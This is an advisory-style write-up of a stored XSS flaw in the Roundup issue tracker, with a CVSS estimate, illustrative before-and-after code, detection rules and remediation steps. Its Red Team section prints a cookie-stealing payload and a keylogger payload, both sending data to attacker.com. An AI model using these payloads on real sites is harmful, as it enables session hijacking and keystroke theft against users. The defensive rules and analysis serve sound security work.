CVE-2024-39124

Executive Summary

CVE-2024-39124 is a stored Cross-Site Scripting (XSS) vulnerability identified in the Roundup issue tracker, affecting all versions prior to 2.4.0. The flaw resides in the classhelpers module, specifically within the _generic.help.html template. An attacker with the ability to create or modify issues can inject arbitrary JavaScript code into the help text fields. When other users (including administrators) view the affected help page, the injected script executes in their browser context, potentially leading to session hijacking, data exfiltration, or further compromise of the Roundup instance. The vulnerability is publicly known, and proof-of-concept code is available. No official patch was released by the vendor, but the fix is included in version 2.4.0.

Supply Chain & Package Security

Roundup is a Python-based issue tracker distributed via PyPI. The vulnerable component is part of the core application, not a third-party dependency. However, organizations using Roundup should verify their deployment version and ensure they are not running an unpatched instance. The supply chain risk is moderate, as the vulnerability is in the application itself, not in a transitive dependency.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid account with issue creation/modification privileges.
• User Interaction (UI): Required (R) – The victim must view the malicious help page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be significant if an administrator is targeted.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Roundup issue tracker. The _generic.help.html template is used to render help text for various fields within the application. The classhelpers module processes this template without proper sanitization of user-supplied input.

Root Cause: The _generic.help.html template does not escape or sanitize the help attribute of field definitions. When a user creates or edits an issue, they can set the help text for a field. This help text is then rendered in the HTML page without proper encoding, allowing the injection of arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker with a valid Roundup account creates a new issue or modifies an existing one.
2. The attacker sets the help text for a field to a malicious payload, e.g., <script>alert('XSS')</script>.
3. When another user (e.g., an administrator) views the issue or the help page for that field, the browser executes the injected script.
4. The script can steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Affected Component: roundup/classhelpers.py (or similar) – the module responsible for rendering help templates.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.4.0):

# In classhelpers.py or template rendering
def render_help(field):
    # Directly inserts help text without escaping
    return f'<div class="help">{field.help}</div>'

Patched Code (2.4.0+):

# In classhelpers.py or template rendering
from html import escape

def render_help(field):
    # Escapes HTML entities to prevent XSS
    safe_help = escape(field.help)
    return f'<div class="help">{safe_help}</div>'

The fix uses html.escape() to convert special characters like <, >, &, ", and ' into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Roundup instance running version < 2.4.0.
• A valid user account with permission to create or edit issues.

Exploitation Steps:

1. Log in to the Roundup instance.
2. Create a new issue or edit an existing one.
3. In the help text field for any custom field, inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the issue.
5. Send the link to the issue to a victim (e.g., an administrator).
6. When the victim views the issue, the script executes and sends their cookies to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection Steps:

1. Monitor for unusual help text content in issues. Look for HTML tags or JavaScript code.
2. Check Roundup logs for suspicious activity, such as multiple issues created with similar help text patterns.
3. Use web application firewall (WAF) rules to block common XSS payloads in help text fields.
4. Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Hunting Query (Splunk):

index=roundup sourcetype=roundup:issue
| search help_text="*<script>*" OR help_text="*<img *onerror*"
| table _time, user, issue_id, help_text

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to known malicious domains or IPs from the Roundup server.
  • HTTP requests containing document.cookie in the URL parameters.

• Host IOCs:

  • Roundup log entries showing help text containing <script> tags.
  • Modified help text fields in the database.

• File IOCs:

  • Suspicious entries in the Roundup database (e.g., SQLite or PostgreSQL) with HTML/JavaScript in help text columns.

Detection Engineering

YARA Rule

rule Detect_Roundup_XSS_HelpText {
    meta:
        description = "Detects XSS payloads in Roundup help text fields"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "CVE-2024-39124"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror[^>]*>/is
        $xss3 = /<svg[^>]*onload[^>]*>/is
        $xss4 = /javascript:/is
    condition:
        any of them
}

Sigma Rule

title: Roundup Help Text XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-39124 by injecting XSS payloads into Roundup help text fields.
author: Valters IT
date: 2024-07-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39124
logsource:
    category: application
    product: roundup
detection:
    selection:
        event: issue_create OR issue_edit
        field: help_text
        payload:
            - "*<script>*"
            - "*<img *onerror*"
            - "*<svg *onload*"
            - "*javascript:*"
    condition: selection
falsepositives:
    - Legitimate use of HTML in help text (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-39124 Roundup XSS Help Text Injection";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/issue"; http_uri;
    content:"help_text"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-39124;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Roundup to version 2.4.0 or later. This is the only complete fix.
2. If upgrade is not immediately possible, apply a virtual patch using a WAF to block XSS payloads in help text fields.
3. Review all existing issues for suspicious help text content and remove any malicious entries.

Long-Term Mitigations:

1. Implement Content Security Policy (CSP) headers to restrict script execution.
2. Enable input validation and output encoding for all user-supplied data.
3. Conduct regular security audits of the Roundup instance.
4. Monitor for new vulnerabilities in Roundup and apply patches promptly.

Workaround (if upgrade is not possible):

• Manually edit the classhelpers.py file to add HTML escaping (as shown in the patched code section). This is not recommended as it may break other functionality and will be overwritten by future updates.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert